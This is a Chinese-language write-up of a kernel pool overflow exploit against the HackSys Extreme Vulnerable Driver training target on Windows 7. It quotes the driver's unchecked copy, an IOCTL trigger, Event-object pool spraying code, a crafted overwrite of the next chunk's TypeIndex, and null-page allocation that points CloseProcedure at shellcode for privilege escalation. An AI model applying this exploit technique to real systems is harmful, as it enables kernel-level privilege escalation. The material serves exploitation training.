POC分析:

  1. __try {
  2. DbgPrint("[+] Allocating Pool chunk\n");
  3. // Allocate Pool chunk
  4. KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,
  5. (SIZE_T)POOL_BUFFER_SIZE,
  6. (ULONG)POOL_TAG);
  7. if (!KernelBuffer) {
  8. // Unable to allocate Pool chunk
  9. DbgPrint("[-] Unable to allocate Pool chunk\n");
  10. Status = STATUS_NO_MEMORY;
  11. return Status;
  12. }
  13. else {
  14. DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
  15. DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
  16. DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
  17. DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
  18. }
  19. // Verify if the buffer resides in user mode
  20. ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));
  21. DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
  22. DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
  23. DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
  24. DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
  25. #ifdef SECURE
  26. // Secure Note: This is secure because the developer is passing a size
  27. // equal to size of the allocated Pool chunk to RtlCopyMemory()/memcpy().
  28. // Hence, there will be no overflow
  29. RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)POOL_BUFFER_SIZE);
  30. #else
  31. DbgPrint("[+] Triggering Pool Overflow\n");
  32. // Vulnerability Note: This is a vanilla Pool Based Overflow vulnerability
  33. // because the developer is passing the user supplied value directly to
  34. // RtlCopyMemory()/memcpy() without validating if the size is greater or
  35. // equal to the size of the allocated Pool chunk
  36. RtlCopyMemory(KernelBuffer, UserBuffer, Size);

ExAllocatePoolWithTag分配一块池,然后User往里面传数据,
可以清楚的看到最后一行传递的是UserBuffer的大小,而不是KernelBuffer的大小,并且没有对其进行验证,所以如果传递的字节大于KernelBuffer的大小就会造成溢出。

漏洞利用

image.png
使用IDA分析 看到池标签是Hack 池Size为0x1F8

  1. char buf[0x1F8];
  2. RtlFillMemory(buf, 0X1F8, 0x41);
  3. DeviceIoControl(hDevice, 0x22200f, buf, 0X1F8, NULL, 0, &bReturn, NULL);

写代码传入1F8字节个A观察
image.png
image.png
Hack被分配了0x200字节(PoolHeader+Buffer)
image.png
可以查到hack的池已经被A全部填满 下一个池Ntfr的PoolHeader紧接在后面,如果我们接着覆盖可能会出发蓝屏
想办法覆盖下一个池的内容从而指向我们的shellcode
在进行这些之前,也要整理一下池内存,这个要0x200字节,我们选择用8个0x40字节的Event对象来填充
先创建10000个整理碎片空间 然后再创建5000个是连续的 每隔8个释放一个 这样就有0x40字节大小的已分配和0x200字节的空闲这样的连续空间

  1. VOID pool_spray()
  2. {
  3. for (int i = 0; i < 0x1000; i++)
  4. spray_event[i] = CreateEventA(NULL, FALSE, FALSE, NULL);
  5. for (int i = 0; i < 0x1000; i++)
  6. {
  7. // 0x40 * 8 = 0x200
  8. for (int j = 0; j < 8; j++)
  9. CloseHandle(spray_event[i + j]);
  10. i += 8;
  11. }
  12. }

image.png
在喷射池中释放可预测的空间之后开始利用漏洞
image.png
在hack池覆盖满A后面是下一块创建的Event对象的池紧跟着后面的结构是红色的_POOL_HEADER
黄色的_OBJECT_HEADER_QUOTA_INFO蓝色是_OBJECT_HEADER
image.png
注意到OBJECT_HEADER数据结构里的TypeIndex值。该值是一个指针数组的偏移量,它描述了该块的对象类型
image.png
image.png
我们的最后目的是把CloseProcedure字段覆盖为指向shellcode的指针,因为在最后会调用这些函数,把这里覆盖自然也就可以执行我们的shellcode,我们希望这里能够将Event这个结构放在我们能够操控的位置,在 Windows 7 中我们知道是可以在用户模式下控制0页内存的,所以我们希望这里能够指到0页内存,所以我们想把TypeIndex从0xc修改为0x0,在 Windows 7 下ObTypeIndexTable的前八个字节始终为0,所以可以在这里进行构造,需要注意的是,这里我们需要申请0页内存,我们传入的第二个参数不能是0,如果是0系统就会随机给我们分配一块内存,我们希望的是分配0页,如果传入1的话由于内存对齐就可以申请到0页内存,然后就可以放入我们shellcode的位置了

Exp分析

  1. const int ModifySize = 0x28;
  2. const int PoolSize = 0x1f8;
  3. char buf[0x220];
  4. memset(buf, 0x41, 0x1f8);
  5. printf("[+]Started to construct pool...\n");
  6. *(DWORD*)(buf + PoolSize + 0x00) = 0x04080040;
  7. *(DWORD*)(buf + PoolSize + 0x04) = 0xee657645;
  8. *(DWORD*)(buf + PoolSize + 0x08) = 0x00000000;
  9. *(DWORD*)(buf + PoolSize + 0x0c) = 0x00000040;
  10. *(DWORD*)(buf + PoolSize + 0x10) = 0x00000000;
  11. *(DWORD*)(buf + PoolSize + 0x14) = 0x00000000;
  12. *(DWORD*)(buf + PoolSize + 0x18) = 0x00000001;
  13. *(DWORD*)(buf + PoolSize + 0x1c) = 0x00000001;
  14. *(DWORD*)(buf + PoolSize + 0x20) = 0x00000000;
  15. *(DWORD*)(buf + PoolSize + 0x24) = 0x00080000;

构造池的前三个数据结构,将TypeIndex改为0

  1. PVOID Zero_addr = (PVOID)1;
  2. SIZE_T RegionSize = 0x1000;
  3. NT_SUCCESS(NtAllocateVirtualMemory(INVALID_HANDLE_VALUE,&Zero_addr,
  4. 0,&RegionSize,MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE)) || Zero_addr != NULL);
  5. *(DWORD*)(0x60) = (DWORD)&ShellCode;

创建0页并将Shellcode写入_OBJECT_TYPE的TypeInfo的CloseProcedure 处
然后对池进行整理
就可以利用漏洞提权
image.png